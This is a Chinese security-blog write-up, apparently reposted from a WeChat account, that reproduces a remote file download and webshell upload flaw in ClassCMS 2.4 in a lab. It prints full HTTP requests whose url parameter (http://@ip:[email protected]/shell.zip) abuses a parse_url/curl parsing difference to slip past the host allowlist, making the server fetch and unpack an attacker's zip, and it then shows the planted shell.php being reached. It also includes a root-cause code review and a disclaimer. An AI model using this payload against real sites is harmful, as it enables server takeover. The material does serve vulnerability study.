ClassCMS2.4漏洞复现

admin 2023年7月25日15:20:35评论55 views字数 3946阅读13分9秒阅读模式

获网安教程

免费&进群

ClassCMS2.4漏洞复现  
ClassCMS2.4漏洞复现

本文由掌控安全学院-子羽投稿

  • ClassCMS2.4漏洞复现

    • 环境搭建

    • 任意文件下载漏洞复现

    • 漏洞成因

ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装
ClassCMS2.4漏洞复现

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

ClassCMS2.4漏洞复现
点击安装
ClassCMS2.4漏洞复现

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台
ClassCMS2.4漏洞复现

任意文件下载漏洞复现

在后台访问应用商店
ClassCMS2.4漏洞复现
任意点击一个下载
ClassCMS2.4漏洞复现
进入下载页面后点击 下载 进行抓包
ClassCMS2.4漏洞复现
我们先放掉第一个包
ClassCMS2.4漏洞复现

  1. POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1

  2. Host: 192.168.12.144

  3. Content-Length: 47

  4. Accept: application/json, text/javascript, */*; q=0.01

  5. X-Requested-With: XMLHttpRequest

  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  8. Origin: http://192.168.12.144

  9. Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitch

  10. Accept-Encoding: gzip, deflate

  11. Accept-Language: zh-CN,zh;q=0.9

  12. Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230

  13. Connection: close

  14. classhash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包
ClassCMS2.4漏洞复现

  1. //第二个数据包

  2. POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

  3. Host: classcms

  4. Content-Length: 85

  5. Accept: application/json, text/javascript, */*; q=0.01

  6. X-Requested-With: XMLHttpRequest

  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

  8. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  9. Origin: http://192.168.159.1

  10. Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00

  14. Connection: close

  15. classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

  1. classhash为解压出来的最后文件名

  2. url为了绕过过滤设成如下形式

  3. http://@ip:[email protected]/shell.zip

  4. 远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包

  5. csrf参数不动即可

  6. 发送之后返回:下载完成

  7. 就说明已经成功被下载到目标服务器上并解压

  8. 最后访问url即可执行上传上的木马getshell

  9. http://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包
ClassCMS2.4漏洞复现
ClassCMS2.4漏洞复现

然后再重新构建第二个数据包

  1. //第二个数据包

  2. POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

  3. Host: classcms

  4. Content-Length: 85

  5. Accept: application/json, text/javascript, */*; q=0.01

  6. X-Requested-With: XMLHttpRequest

  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

  8. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  9. Origin: http://192.168.159.1

  10. Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230

  14. Connection: close

  15. classhash=shell&url=http://@192.168.12.144:[email protected]/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:[email protected]/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
ClassCMS2.4漏洞复现
把修改后的数据包提交
ClassCMS2.4漏洞复现
提交成功
ClassCMS2.4漏洞复现

访问http://192.168.12.144/class/shell/shell.php
ClassCMS2.4漏洞复现
可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件
ClassCMS2.4漏洞复现

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处
ClassCMS2.4漏洞复现

ClassCMS2.4漏洞复现
一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
ClassCMS2.4漏洞复现
this(当前文件shop.php)->download函数下,定位到关键函数download
ClassCMS2.4漏洞复现
ClassCMS2.4漏洞复现
函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

ClassCMS2.4漏洞复现


ClassCMS2.4漏洞复现
只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令

  1. if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {

  2. Return false;

  3. }

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:[email protected]/shell.zip


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

ClassCMS2.4漏洞复现

没看够~?欢迎关注!



分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

ClassCMS2.4漏洞复现

 分享后扫码加我


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

ClassCMS2.4漏洞复现

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力



原文始发于微信公众号(掌控安全EDU):ClassCMS2.4漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月25日15:20:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ClassCMS2.4漏洞复现http://cn-sec.com/archives/1906273.html

发表评论

匿名网友 填写信息